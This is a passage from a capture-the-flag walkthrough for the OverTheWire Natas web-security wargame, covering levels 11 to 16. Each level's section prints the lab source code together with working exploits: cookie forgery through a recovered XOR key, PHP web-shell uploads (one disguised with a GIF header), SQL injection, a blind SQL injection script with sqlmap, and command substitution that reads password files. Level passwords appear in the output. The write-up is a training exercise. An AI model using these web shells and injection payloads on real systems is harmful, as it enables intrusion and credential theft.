      if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { // key `bgcolor` has a color value in hex format
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor']      = $tempdata['bgcolor'];
      }
    }
  }
  return $mydata;
}

//-----[ 5 ]
function saveData ($d) {
  setcookie('data', base64_encode(xor_encrypt(json_encode($d))));
}

//-----[ 1 ] set cookie values otherwise set default values
$data = loadData($defaultdata);

//-----[ 3 ] set bgcolor based on user browser input
if (array_key_exists('bgcolor',$_REQUEST)) {
  if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
    $data['bgcolor'] = $_REQUEST['bgcolor'];
  }
}

//-----[ 4 ]
saveData($data);

?>

<?

if ($data['showpassword']=='yes') {
  print 'The password for natas12 is <censored><br>';
}

?>

Obtaining the encryption key#

bash natas.sh -I 11
HTTP/1.1 200 OK
Date: Fri, 29 Dec 2023 22:56:23 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D
Content-Type: text/html; charset=UTF-8
php -a # interactive php
<?
// ciphertext
$cookie=base64_decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY');

function xorcipher ($in) {
  if ($in != '') {
    // let's reverse the xor cipher (i.e., take advantage of its associativity) to get the key
    // key = ciphertext xor plaintext
    // here, $key stores the plaintext
    $key = json_encode(array('showpassword'=>'no', 'bgcolor'=>'#ffffff'));
  }
  else {
    // now we have the key!
    // passwd12 = plaintext(showpassword=yes) xor key
    $key = 'KNHL';
    $in  = json_encode(array('showpassword'=>'yes','bgcolor'=>'#ffffff'));
  }
  $out = '';
  for ($i=0; $i<strlen($in); $i++) {
    $out .= $in[$i] ^ $key[$i % strlen($key)];
  }
  return $out;
}

print xorcipher($cookie);           // KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK
print base64_encode(xorcipher('')); // MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz
?>

Success#

bash natas.sh -sb data=MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz 11
<h1>natas11</h1>
<div id="content">
<body style="background: #ffffff;">
Cookies are protected with XOR encryption<br/><br/>

The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG<br>
<form>
Background color: <input name=bgcolor value="#ffffff">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Natas12 - web shell#

bash natas.sh -s 12
<body>
<h1>natas12</h1>
<div id="content">

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="qkzplps5hk.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" />

<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Page Source#

bash natas.sh -sr index-source.html 12
<body>
<h1>natas12</h1>
<div id="content">
<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" />

<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

PHP#

<?php

// generate a random 10-character alphanumeric string
function genRandomString () {
  $length     = 10;
  $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
  $string     = '';

  for ($p = 0; $p < $length; $p++) {
    $string .= $characters[mt_rand(0, strlen($characters)-1)];
  }

  return $string;
}

function makeRandomPath ($dir, $ext) {
  do {
    $path = $dir."/".genRandomString().".".$ext;
  } while(file_exists($path));
  return $path;
}

function makeRandomPathFromFilename ($dir, $fn) {
  $ext = pathinfo($fn, PATHINFO_EXTENSION);
  return makeRandomPath($dir, $ext);
}

if (array_key_exists("filename", $_POST)) {
  $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

  if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
    echo "File is too big";
  } else {
    if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
      echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
    } else {
      echo "There was an error uploading the file, please try again!";
    }
  }
} else {

?>

<?php

}

?>

Web Shell#

// passwd12_shell.php
<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Multipart formpost#

bash natas.sh -s \
-F filename=shell.php \
-F uploadedfile=@passwd12_shell.php 12
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/jqayf65vdh.php">upload/jqayf65vdh.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Success#

bash natas.sh \
-r upload/jqayf65vdh.php \
-p e\=cat%20/etc/natas_webpass/natas13 12
lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

Natas13 - web shell w/ magic number#

bash natas.sh -s 13
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>


<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="zny2mqpp80.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" />

<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Page Source#

bash natas.sh -sr index-source.html 13
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" />

<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Web Shell w/ magic number#

// passwd13_shell.php
GIF87a<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
file passwd13_shell.php
shell.php: GIF image data, version 87a, 16188 x 26736

Multipart formpost#

bash natas.sh -s \
-F filename=shell.php -F uploadedfile=@passwd13_shell.php 13
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

The file <a href="upload/wedvn5nqi8.php">upload/wedvn5nqi8.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Success#

bash natas.sh \
-r upload/wedvn5nqi8.php \
-p e\=cat%20/etc/natas_webpass/natas14 13 \
| cut -c7-
qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

Natas14 - SQL injection#

bash natas.sh -s 14
<body>
<h1>natas14</h1>
<div id="content">

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Page Source#

bash natas.sh -sr index-source.html 14
<body>
<h1>natas14</h1>
<div id="content">
<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

PHP#

<?php

if(array_key_exists("username", $_REQUEST)) {
  $link = mysqli_connect('localhost', 'natas14', '<censored>');
  mysqli_select_db($link, 'natas14');

  $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
  if (array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>";
  }

  if (mysqli_num_rows(mysqli_query($link, $query)) > 0) {
    echo "Successful login! The password for natas15 is <censored><br>";
  } else {
    echo "Access denied!<br>";
  }

  mysqli_close($link);
} else {

?>

<?php

}

?>

Success#

bash natas.sh -sp debug -d username='1" OR "1"="1"&password="1" OR "1"="1' 14
<body>
<h1>natas14</h1>
<div id="content">
Executing query: SELECT * from users where username="1" OR "1"="1"" and password=""1" OR "1"="1"<br>Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Natas15 - blind SQL injection#

bash natas.sh -s 15
<body>
<h1>natas15</h1>
<div id="content">

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Page Source#

bash natas.sh -sr index-source.html 15
<body>
<h1>natas15</h1>
<div id="content">
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

PHP#

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if (array_key_exists("username", $_REQUEST)) {

  $link = mysqli_connect('localhost', 'natas15', '<censored>');
  mysqli_select_db($link, 'natas15');

  $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
  if (array_key_exists("debug", $_GET)) {
    echo "Executing query: $query<br>";
  }

  $res = mysqli_query($link, $query);
  if ($res) {
    if (mysqli_num_rows($res) > 0) {
      echo "This user exists.<br>";
    } else {
      echo "This user doesn't exist.<br>";
    }
  } else {
    echo "Error in query.<br>";
  }

  mysqli_close($link);
  
} else {

?>

<?php

}

?>

SQL Injection#

#!/usr/bin/env python

from   bs4 import BeautifulSoup
import re
import requests
import string

url='http://natas15.natas.labs.overthewire.org/index.php?debug'
with open(f'passwd15') as fn: passwd=fn.read().rstrip('\n')

filtered=''
chars   =string.ascii_letters+string.digits
for char in chars:
  data={'username':'natas16" and password like binary "%'+char+'%'}
  html=requests.post(url, auth=('natas15', passwd), data=data).text
  if 'exists' in html:
    filtered+=char
    query=BeautifulSoup(html, 'html.parser').body.find(string=re.compile("Executing query")).lstrip("\nExecuting query: ")
    print(f'{query}, password dictionary : {filtered}')

#filtered='adfgijklqruADEHOPRTVZ23579'
password=''
for _ in range(32):
  for char in filtered:
    data={'username':f'natas16" and password like binary "'+password+char+'%'}
    html=requests.post(url, auth=('natas15', passwd), data=data).text
    if 'exists' in html:
      password+=char
      query=BeautifulSoup(html, 'html.parser').body.find(string=re.compile("Executing query")).lstrip("\nExecuting query: ")
      print(f'{query}')
      break
SELECT * from users where username="natas16" and password like binary "%a%", password dictionary : a
SELECT * from users where username="natas16" and password like binary "%d%", password dictionary : ad
SELECT * from users where username="natas16" and password like binary "%f%", password dictionary : adf
SELECT * from users where username="natas16" and password like binary "%g%", password dictionary : adfg
SELECT * from users where username="natas16" and password like binary "%i%", password dictionary : adfgi
SELECT * from users where username="natas16" and password like binary "%j%", password dictionary : adfgij
SELECT * from users where username="natas16" and password like binary "%k%", password dictionary : adfgijk
SELECT * from users where username="natas16" and password like binary "%l%", password dictionary : adfgijkl
SELECT * from users where username="natas16" and password like binary "%q%", password dictionary : adfgijklq
SELECT * from users where username="natas16" and password like binary "%r%", password dictionary : adfgijklqr
SELECT * from users where username="natas16" and password like binary "%u%", password dictionary : adfgijklqru
SELECT * from users where username="natas16" and password like binary "%A%", password dictionary : adfgijklqruA
SELECT * from users where username="natas16" and password like binary "%D%", password dictionary : adfgijklqruAD
SELECT * from users where username="natas16" and password like binary "%E%", password dictionary : adfgijklqruADE
SELECT * from users where username="natas16" and password like binary "%H%", password dictionary : adfgijklqruADEH
SELECT * from users where username="natas16" and password like binary "%O%", password dictionary : adfgijklqruADEHO
SELECT * from users where username="natas16" and password like binary "%P%", password dictionary : adfgijklqruADEHOP
SELECT * from users where username="natas16" and password like binary "%R%", password dictionary : adfgijklqruADEHOPR
SELECT * from users where username="natas16" and password like binary "%T%", password dictionary : adfgijklqruADEHOPRT
SELECT * from users where username="natas16" and password like binary "%V%", password dictionary : adfgijklqruADEHOPRTV
SELECT * from users where username="natas16" and password like binary "%Z%", password dictionary : adfgijklqruADEHOPRTVZ
SELECT * from users where username="natas16" and password like binary "%2%", password dictionary : adfgijklqruADEHOPRTVZ2
SELECT * from users where username="natas16" and password like binary "%3%", password dictionary : adfgijklqruADEHOPRTVZ23
SELECT * from users where username="natas16" and password like binary "%5%", password dictionary : adfgijklqruADEHOPRTVZ235
SELECT * from users where username="natas16" and password like binary "%7%", password dictionary : adfgijklqruADEHOPRTVZ2357
SELECT * from users where username="natas16" and password like binary "%9%", password dictionary : adfgijklqruADEHOPRTVZ23579
SELECT * from users where username="natas16" and password like binary "T%"
SELECT * from users where username="natas16" and password like binary "TR%"
SELECT * from users where username="natas16" and password like binary "TRD%"
SELECT * from users where username="natas16" and password like binary "TRD7%"
SELECT * from users where username="natas16" and password like binary "TRD7i%"
SELECT * from users where username="natas16" and password like binary "TRD7iZ%"
SELECT * from users where username="natas16" and password like binary "TRD7iZr%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5g%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gA%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gAT%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATj%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9P%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9Pk%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkP%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPE%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEu%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEua%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaO%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOl%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlf%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfE%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEj%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEjH%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEjHq%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEjHqj%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEjHqj3%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32%"
SELECT * from users where username="natas16" and password like binary "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V%"

sqlmap#

LVL=15
sqlmap -u "http://natas$LVL.natas.labs.overthewire.org" \
--auth-type Basic --auth-cred "natas$LVL:$(cat "passwd$LVL")" \
--method POST --data 'username=natas16' \
--dbms mysql -b -D "natas$LVL" -T users -C username,password \
--string exists --level 5 --technique B \
--dump --batch --threads 4
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.12#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:50:41 /2023-12-29/

[14:50:41] [INFO] testing connection to the target URL
[14:50:42] [INFO] testing if the provided string is within the target URL page content
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=natas16" AND 5100=5100-- UhFt
---
[14:50:42] [INFO] testing MySQL
[14:50:42] [INFO] confirming MySQL
[14:50:42] [INFO] the back-end DBMS is MySQL
[14:50:42] [INFO] fetching banner
[14:50:42] [INFO] retrieving the length of query output
[14:50:42] [INFO] retrieved: 23
[14:50:45] [INFO] resuming partial value: 8
[14:50:58] [INFO] retrieved: 8.0.34-0ubuntu0.22.04.1            
web server operating system: Linux Ubuntu 22.04 (jammy)
web application technology: Apache 2.4.52
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 8.0.0
banner: '8.0.34-0ubuntu0.22.04.1'
[14:50:58] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'natas15'
[14:50:58] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'natas15'
[14:50:58] [INFO] resumed: 4
[14:50:58] [INFO] retrieving the length of query output
[14:50:58] [INFO] retrieved: 10
[14:51:01] [INFO] resumed: 6P151OntQe
[14:51:01] [INFO] retrieving the length of query output
[14:51:01] [INFO] retrieved: 3
[14:51:02] [INFO] resumed: bob
[14:51:02] [INFO] retrieving the length of query output
[14:51:02] [INFO] retrieved: 10
[14:51:05] [INFO] resumed: HLwuGKts2w
[14:51:05] [INFO] retrieving the length of query output
[14:51:05] [INFO] retrieved: 7
[14:51:06] [INFO] resumed: charlie
[14:51:06] [INFO] retrieving the length of query output
[14:51:06] [INFO] retrieved: 10
[14:51:09] [INFO] resumed: hROtsfM734
[14:51:09] [INFO] retrieving the length of query output
[14:51:09] [INFO] retrieved: 5
[14:51:11] [INFO] resumed: alice
[14:51:11] [INFO] retrieving the length of query output
[14:51:11] [INFO] retrieved: 32
[14:51:13] [INFO] resumed: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
[14:51:13] [INFO] retrieving the length of query output
[14:51:13] [INFO] retrieved: 7
[14:51:15] [INFO] resumed: natas16
Database: natas15
Table: users
[4 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| bob      | 6P151OntQe                       |
| charlie  | HLwuGKts2w                       |
| alice    | hROtsfM734                       |
| natas16  | TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V |
+----------+----------------------------------+

[14:51:15] [INFO] table 'natas15.users' dumped to CSV file '~/.local/share/sqlmap/output/natas15.natas.labs.overthewire.org/dump/natas15/users.csv'
[14:51:15] [INFO] fetched data logged to text files under '~/.local/share/sqlmap/output/natas15.natas.labs.overthewire.org'

[*] ending @ 14:51:15 /2023-12-29/

Natas16 - command injection via command substitution#

bash natas.sh -s 16
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Page Source#

bash natas.sh -sr index-source.html 16
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&amp;`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
bash natas.sh -sd needle='$(grep A /etc/natas_webpass/natas17)false' 16
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
false
falsehood
falsehood's
falsehoods
falsely
falser
falsest
falsetto
falsetto's
falsettos
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

SPOILERS! This page contains solutions. Proceed with caution.


Resources#

[ h ] OverTheWire

[ y ] 11-09-2022. freeCodeCamp. “Command Line Hacking – Over The Wire Bandit Walkthrough (CTF Wargame)”.

[ h ] MayADevBe Blog

More

Natas

OWASP

  • [ d ] Blind SQL Injection

  • [ d ] SQL Injection


Terms#

[ w ] xor cipher